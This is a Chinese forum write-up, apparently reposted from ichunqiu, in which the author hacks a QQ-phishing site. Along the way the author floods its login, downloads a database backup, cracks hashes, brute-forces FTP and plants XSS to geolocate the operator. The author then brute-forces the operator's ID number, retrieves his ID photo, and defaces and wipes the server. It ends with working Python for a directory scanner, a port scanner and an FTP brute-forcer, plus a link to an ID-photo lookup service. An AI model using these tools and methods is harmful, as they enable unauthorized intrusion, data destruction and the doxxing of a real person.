|
==================================================
个人收获:
1.端口扫描工具
2.目录扫描工具
3.扫描目录的字典
4.渗透网址前的信息收集很重要(网址whois,服务器ip,网址目录,服务器开放的端口)
5.多种方法尝试(sql注入,XSS,遍历目录,账号密码爆破)
6.利用身份证和姓名查询到照片
7.留意网址是否有备份文件
8.自定义HTTP头发送POST的python脚本
==================================================
打开那个短网址http://dwz.cn/O*****Mm,跳转到了一个域名上http://www.**qq.com/

首先,先来一波差不多的信息收集,对,没错,我先查了他的whois,很幸运,他没有开启隐私保护,他的姓名,吴*财(从名字就可以看出来,很缺钱),邮箱:2******[email]22@qq.com[/email]

有木有CDN,验证一波??香港服务器....这种非法站,用香港的很正常....

端口开放检测

目录扫描,找一波后台,cool,找到了后台

其他的文件卵用都没有,所以,只好从后台下手了/*admin/index.php

看他这个后台,我心里活动是这样的

看到了客服的qq,就是之前whois上的那个qq:2*****22
我慌了,POST注入尝试一波

不存在注入??XSS盲打走一波,把能插的地方,全插一遍

What??应该是有差不多的安全软件在网站上
但是我不好受,我也不能让他好受,所以,上Python
写脚本随机大量QQ号和密码给他
在登录处,我发现,只要是数字就行

Burp抓包,发现就3个参数u,p,bianhao

所以,我用Python生成一堆随机的qq号跟密码,然后利用requests来循环 POST 垃圾数据到对方的服务器,让他也找不到哪个是真的号,哪个是假的,啊哈哈哈

好了,想不到了,决定去看中国新说唱,让我炸起来,skrskr
啊哈哈,突然想到了,备份文件.....
站长可能没有删备份文件,于是我换了一个扫这个的字典,又是一波乱扫

这就很cool了,下载了这个data.zip发现里面竟然是install.sql
打开,翻翻数据

Md5解密

密码coolboy,卧槽,Are you kidding me??
额,好吧,找到safecode了,而且没有加密,开心
啊哈哈,这个safecode我第一眼看,身份证号,但是数了一下,14位,不够
352**020***527
不管了,先登录了后台再说

除了我批量提交的100000条,至多有73名受害者,不算太多....
批量提交的效果是这样的

数据太多了,涉及其他受害者的隐私,所以其他的我就不截图了...
看他没导出数据,所以接下来做的就是立马删除数据

准备修改密码的时候,发现

坑逼,改不了密码,卧槽,心态崩了
既然改不了密码,那行吧,我认了..想办法,getshell
没有上传的地方,任意执行啥的也搞不到...
想到了3306,21端口还没有用到
3306貌似不允许远程连接,放弃
21端口,FTP服务走一波
用字典生成,生成了一波很差不多的用户名,很差不多的密码


用户名就是ftp加qq号
密码就是他名字简称加那个safecode

定位,必须定位一波!!
所以,我又用了阿釉的方法
把xss代码插到了后台那

加他qq,了解一波,并开始一波套路

空间关闭,百度qq号,只有一些网站类似这样的黑页...

说实话,我觉得这html写的还没有txt好看,啊哈哈
开始套路他登录后台

现在的年轻人真的是,可以,很牛逼,上来就是打技术



丢到经纬度查询的地方

定位到了这
福建省宁德市**区****村
过了一会,他又来找我了,真的是年少轻狂





我忽然有了一个很大胆的猜测,我怀疑啊,
他的safecode就是身份证的前14位
我既然知道他的姓名,所以来一波爆破,我用了Crazyman_Army表哥的接口
前14位+从0000到9999,验证与名字是否符合,符合就返回,于是我写了一个python程序,这个接口较敏感,就不公开了
爆破了出来,太cool了

接着,去查身份证照片
在线base64转换为图片:http://www.vgot.net/test/image2base64.php?

卧槽,简直是完美了,接下来,我要找个最炫的黑页,去装逼,啊哈哈哈

等不到空格表哥炫酷炫到超过最炫民族风的黑页了,只好用这个了
另外把服务器上其他的东西删了,再挂上黑页

去教育一下这个小黑客吧




反思与总结
小黑客,不公布啥信息了,我还是有着peace and love的,作为祖国的一棵绿萝,我还是得好好的保护未来祖国的花朵的,啊哈哈哈
大家在互联网上行走,还是要做好自己的个人信息保护..最好不要用同一套密码,不要把自己的隐私数据(身份证号之类的)放在互联网上
找到了个免费的身份证查头像的接口(免费查3次):
https://market.aliyun.com/products/57000002/cmapi029011.html?spm=5176.730006-56956004-57000002-cmapi029292/A.recommend.6.naBrS9#sku=yuncode2301100001
目录扫描的字典
github找的
https://github.com/DictionaryHouse/Dirpath_List
目录扫描:
#-*- coding: UTF-8 -*-
import requests
from threading import Thread, activeCount
import Queue
queue = Queue.Queue()
dir_file='demo.txt'
def scan_target_url_exists(target_url):
headers={
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://www.google.com'}
status_codes = [200]
try:
req=requests.head(target_url.strip(),timeout=8,headers=headers)
if req.status_code in status_codes:
print 'CODE:%s,URL:%s'%(str(req.status_code),target_url.strip('\n').strip('\r'))
open('exists_target_url.txt','a').write(target_url)
except:
pass
def open_pathfile(file):
all_lines=open(file,'r').readlines()
for line in all_lines:
if target_url.endswith('/'):
if line.startswith('/'):
queue.put(target_url+line[1:])
else:
queue.put(target_url + line)
else:
if line.startswith('/'):
queue.put(target_url + line)
else:
queue.put(target_url + '/' + line)
if __name__ == '__main__':
print '''
____ _ ____
| _ \(_)_ __/ ___| ___ __ _ _ __
| | | | | '__\___ \ / __/ _` | '_ \
| |_| | | | ___) | (_| (_| | | | |
|____/|_|_| |____/ \___\__,_|_| |_|
'''
target_url=raw_input('Please input your target:')
threadnum = raw_input('Please input your threadnum:')
if target_url.startswith('http://') or target_url.startswith('https://'):
pass
else:
target_url = 'http://' + target_url
print 'The number of threads is %s' % threadnum
print 'Matching.......'
open_pathfile(dir_file)
while queue.qsize() > 0:
if activeCount() <= int(threadnum):
Thread(target=scan_target_url_exists,args=(queue.get(),)).start()
端口开放扫描
#-*- coding: UTF-8 -*-
import socket
import threading
lock = threading.Lock()
threads = []
def Get_ip(domain):
try:
return socket.gethostbyname(domain)
except socket.error,e:
print '[-]%s: %s'%(domain,e)
return 0
def PortScan(ip,port):
try:
s=socket.socket()
s.settimeout(0.1)
s.connect((ip,port))
lock.acquire()
openstr= "[-] PORT:"+str(port) +" OPEN "
print openstr
lock.release()
s.close()
except:
pass
def main():
banner = '''
_
_ __ ___ _ __| |_ ___ ___ __ _ _ __
| '_ \ / _ \| '__| __/ __|/ __/ _` | '_ \
| |_) | (_) | | | |_\__ \ (_| (_| | | | |
| .__/ \___/|_| \__|___/\___\__,_|_| |_|
|_|
'''
print banner
domain = raw_input("PLEASE INPUT YOUR TARGET:")
ip = Get_ip(domain)
print '[-] IP:'+ip
for n in range(1,76):
for p in range((n-1)*880,n*880):
t = threading.Thread(target=PortScan,args=(ip,p))
threads.append(t)
t.start()
for t in threads:
t.join()
print ' This scan completed !'
if __name__=='__main__':
main()
FTP爆破(单线程),关注我的文章,获取多线程的:
#-*- coding: UTF-8 -*-
from ftplib import FTP
import ftplib
def Login(host,username,password):
ftp=FTP()
try:
ftp.connect(host,21,1)
ftp.login(username,password)
print 'Crack successly!'
print 'username:' + username
print 'Password:' + password
return True
except:
pass
if __name__ == '__main__':
host=open('host.txt')
for line in host:
host=line.strip('\n')
print 'Target:' + host
user=open('user.txt')
for line in user:
user=line.strip('\n')
pwd=open('pwd.txt','r')
for line in pwd:
pwd=line.strip('\n')
Login(host,user,pwd)
原文地址:https://bbs.ichunqiu.com/thread-43500-1-1.html |